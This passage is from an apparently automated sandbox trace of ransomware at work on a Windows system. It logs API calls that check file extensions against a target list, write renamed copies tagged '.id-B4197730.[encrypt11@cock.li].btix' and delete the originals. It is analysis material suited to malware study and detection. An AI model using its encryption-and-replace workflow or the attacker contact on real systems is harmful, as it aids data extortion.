(lpString1=".zip", lpString2=".xml") returned 1 [0046.191] lstrlenW (lpString=".rar") returned 4 [0046.191] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.191] lstrlenW (lpString=".bz2") returned 4 [0046.191] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.191] lstrlenW (lpString=".7z") returned 3 [0046.191] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0046.191] lstrlenW (lpString=".dbf") returned 4 [0046.191] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0046.191] lstrlenW (lpString=".1cd") returned 4 [0046.191] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0046.191] lstrlenW (lpString=".jpg") returned 4 [0046.191] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.191] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0046.191] lstrlenW (lpString="base_ca.xml") returned 11 [0046.191] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0046.302] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=3529) returned 1 [0046.302] CloseHandle (hObject=0x37c) returned 1 [0046.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0046.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.303] lstrlenW (lpString=".doc") returned 4 [0046.303] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.303] lstrlenW (lpString=".docx") returned 5 [0046.303] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0046.303] lstrlenW (lpString=".pdf") returned 4 [0046.303] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.303] lstrlenW (lpString=".xls") returned 4 [0046.303] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.303] lstrlenW (lpString=".xlsx") returned 5 [0046.303] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0046.303] lstrlenW (lpString=".ppt") returned 4 [0046.303] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.303] lstrlenW (lpString=".zip") returned 4 [0046.303] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.303] lstrlenW (lpString=".rar") returned 4 [0046.303] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.303] lstrlenW (lpString=".bz2") returned 4 [0046.303] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.304] lstrlenW (lpString=".7z") returned 3 [0046.304] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.304] lstrlenW (lpString=".dbf") returned 4 [0046.304] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.304] lstrlenW (lpString=".1cd") returned 4 [0046.304] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.304] lstrlenW (lpString=".jpg") returned 4 [0046.304] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.304] lstrlenW (lpString=".doc") returned 4 [0046.304] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.304] lstrlenW (lpString=".docx") returned 5 [0046.304] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0046.304] lstrlenW (lpString=".pdf") returned 4 [0046.304] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.304] lstrlenW (lpString=".xls") returned 4 [0046.304] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.304] lstrlenW (lpString=".xlsx") returned 5 [0046.304] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0046.304] lstrlenW (lpString=".ppt") returned 4 [0046.304] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.305] lstrlenW (lpString=".zip") returned 4 [0046.305] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.305] lstrlenW (lpString=".rar") returned 4 [0046.305] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.305] lstrlenW (lpString=".bz2") returned 4 [0046.305] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.305] lstrlenW (lpString=".7z") returned 3 [0046.305] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.305] lstrlenW (lpString=".dbf") returned 4 [0046.305] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.305] lstrlenW (lpString=".1cd") returned 4 [0046.305] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.305] lstrlenW (lpString=".jpg") returned 4 [0046.305] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.305] lstrcmpiW (lpString1=".dat", lpString2=".btix") returned 1 [0046.306] lstrlenW (lpString="hwrenclm.dat") returned 12 [0046.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0046.306] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=498624) returned 1 [0046.306] CloseHandle (hObject=0x37c) returned 1 [0046.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0046.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0046.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0046.307] lstrlenW (lpString=".doc") returned 4 [0046.307] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0046.307] lstrlenW (lpString=".docx") returned 5 [0046.307] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0046.307] lstrlenW (lpString=".pdf") returned 4 [0046.307] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0046.307] lstrlenW (lpString=".xls") returned 4 [0046.307] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0046.307] lstrlenW (lpString=".xlsx") returned 5 [0046.307] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0046.307] lstrlenW (lpString=".ppt") returned 4 [0046.307] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0046.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0046.307] lstrlenW (lpString=".zip") returned 4 [0046.307] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0046.307] lstrlenW (lpString=".rar") returned 4 [0046.307] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0046.307] lstrlenW (lpString=".bz2") returned 4 [0046.307] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0046.307] lstrlenW (lpString=".7z") returned 3 [0046.307] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0046.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0046.307] lstrlenW (lpString=".dbf") returned 4 [0046.307] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0046.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0046.307] lstrlenW (lpString=".1cd") returned 4 [0046.308] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0046.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0046.308] lstrlenW (lpString=".jpg") returned 4 [0046.308] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0046.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0046.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0046.308] lstrlenW (lpString=".doc") returned 4 [0046.308] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0046.308] lstrlenW (lpString=".docx") returned 5 [0046.308] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0046.308] lstrlenW (lpString=".pdf") returned 4 [0046.308] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0046.308] lstrlenW (lpString=".xls") returned 4 [0046.308] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0046.308] lstrlenW (lpString=".xlsx") returned 5 [0046.308] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0046.308] lstrlenW (lpString=".ppt") returned 4 [0046.308] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0046.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0046.308] lstrlenW (lpString=".zip") returned 4 [0046.308] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0046.308] lstrlenW (lpString=".rar") returned 4 [0046.308] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0046.308] lstrlenW (lpString=".bz2") returned 4 [0046.309] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0046.309] lstrlenW (lpString=".7z") returned 3 [0046.309] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0046.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0046.309] lstrlenW (lpString=".dbf") returned 4 [0046.309] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0046.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0046.309] lstrlenW (lpString=".1cd") returned 4 [0046.309] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0046.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0046.309] lstrlenW (lpString=".jpg") returned 4 [0046.309] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0046.309] lstrcmpiW (lpString1=".dat", lpString2=".btix") returned 1 [0046.309] lstrlenW (lpString="hwrusalm.dat") returned 12 [0046.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0046.325] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=2515696) returned 1 [0046.325] CloseHandle (hObject=0x2d8) returned 1 [0046.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0046.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0046.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0046.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0046.327] lstrlenW (lpString=".doc") returned 4 [0046.327] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0046.327] lstrlenW (lpString=".docx") returned 5 [0046.327] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0046.327] lstrlenW (lpString=".pdf") returned 4 [0046.327] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0046.327] lstrlenW (lpString=".xls") returned 4 [0046.327] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0046.327] lstrlenW (lpString=".xlsx") returned 5 [0046.327] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0046.327] lstrlenW (lpString=".ppt") returned 4 [0046.327] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0046.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0046.327] lstrlenW (lpString=".zip") returned 4 [0046.327] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0046.327] lstrlenW (lpString=".rar") returned 4 [0046.328] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0046.328] lstrlenW (lpString=".bz2") returned 4 [0046.328] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0046.328] lstrlenW (lpString=".7z") returned 3 [0046.328] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0046.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0046.328] lstrlenW (lpString=".dbf") returned 4 [0046.328] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0047.279] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.279] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.279] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0047.841] GetLastError () returned 0x0 [0047.841] ReadFile (in: hFile=0x36c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x218e, lpOverlapped=0x0) returned 1 [0047.910] WriteFile (in: hFile=0x32c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x2190, lpOverlapped=0x0) returned 1 [0047.911] ReadFile (in: hFile=0x36c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0047.911] WriteFile (in: hFile=0x32c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xe8, lpOverlapped=0x0) returned 1 [0047.911] SetEndOfFile (hFile=0x32c) returned 1 [0047.912] CloseHandle (hObject=0x32c) returned 1 [0047.912] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.912] SetEndOfFile (hFile=0x36c) returned 1 [0047.913] CloseHandle (hObject=0x36c) returned 1 [0047.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.914] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 1 [0047.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0047.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0047.914] lstrlenW (lpString=".doc") returned 4 [0047.914] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.914] lstrlenW (lpString=".docx") returned 5 [0047.914] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1 [0047.914] lstrlenW (lpString=".pdf") returned 4 [0047.914] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.914] lstrlenW (lpString=".xls") returned 4 [0047.914] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.914] lstrlenW (lpString=".xlsx") returned 5 [0047.914] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1 [0047.914] lstrlenW (lpString=".ppt") returned 4 [0047.914] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0047.914] lstrlenW (lpString=".zip") returned 4 [0047.914] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.914] lstrlenW (lpString=".rar") returned 4 [0047.914] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.914] lstrlenW (lpString=".bz2") returned 4 [0047.914] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.914] lstrlenW (lpString=".7z") returned 3 [0047.914] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0047.914] lstrlenW (lpString=".dbf") returned 4 [0047.915] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0047.915] lstrlenW (lpString=".1cd") returned 4 [0047.915] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0047.915] lstrlenW (lpString=".jpg") returned 4 [0047.915] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0047.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0047.915] lstrlenW (lpString=".doc") returned 4 [0047.915] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.915] lstrlenW (lpString=".docx") returned 5 [0047.915] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1 [0047.915] lstrlenW (lpString=".pdf") returned 4 [0047.915] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.915] lstrlenW (lpString=".xls") returned 4 [0047.915] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.915] lstrlenW (lpString=".xlsx") returned 5 [0047.915] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1 [0047.915] lstrlenW (lpString=".ppt") returned 4 [0047.915] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0047.915] lstrlenW (lpString=".zip") returned 4 [0047.915] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.915] lstrlenW (lpString=".rar") returned 4 [0047.915] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.915] lstrlenW (lpString=".bz2") returned 4 [0047.915] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.915] lstrlenW (lpString=".7z") returned 3 [0047.915] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0047.915] lstrlenW (lpString=".dbf") returned 4 [0047.915] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0047.916] lstrlenW (lpString=".1cd") returned 4 [0047.916] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0047.916] lstrlenW (lpString=".jpg") returned 4 [0047.916] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.916] lstrcmpiW (lpString1=".txt", lpString2=".btix") returned 1 [0047.916] lstrlenW (lpString="README.txt") returned 10 [0047.916] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0047.925] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=46) returned 1 [0047.925] CloseHandle (hObject=0x394) returned 1 [0047.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20 [0047.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.925] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0047.925] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.925] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.925] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.928] GetLastError () returned 0x0 [0047.928] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x2e, lpOverlapped=0x0) returned 1 [0047.929] WriteFile (in: hFile=0x318, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x30, lpOverlapped=0x0) returned 1 [0047.930] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0047.930] WriteFile (in: hFile=0x318, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xe8, lpOverlapped=0x0) returned 1 [0047.930] SetEndOfFile (hFile=0x318) returned 1 [0047.930] CloseHandle (hObject=0x318) returned 1 [0047.931] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.931] SetEndOfFile (hFile=0x394) returned 1 [0047.931] CloseHandle (hObject=0x394) returned 1 [0047.932] SetFileAttributesW (lpFileName="C:\\Program 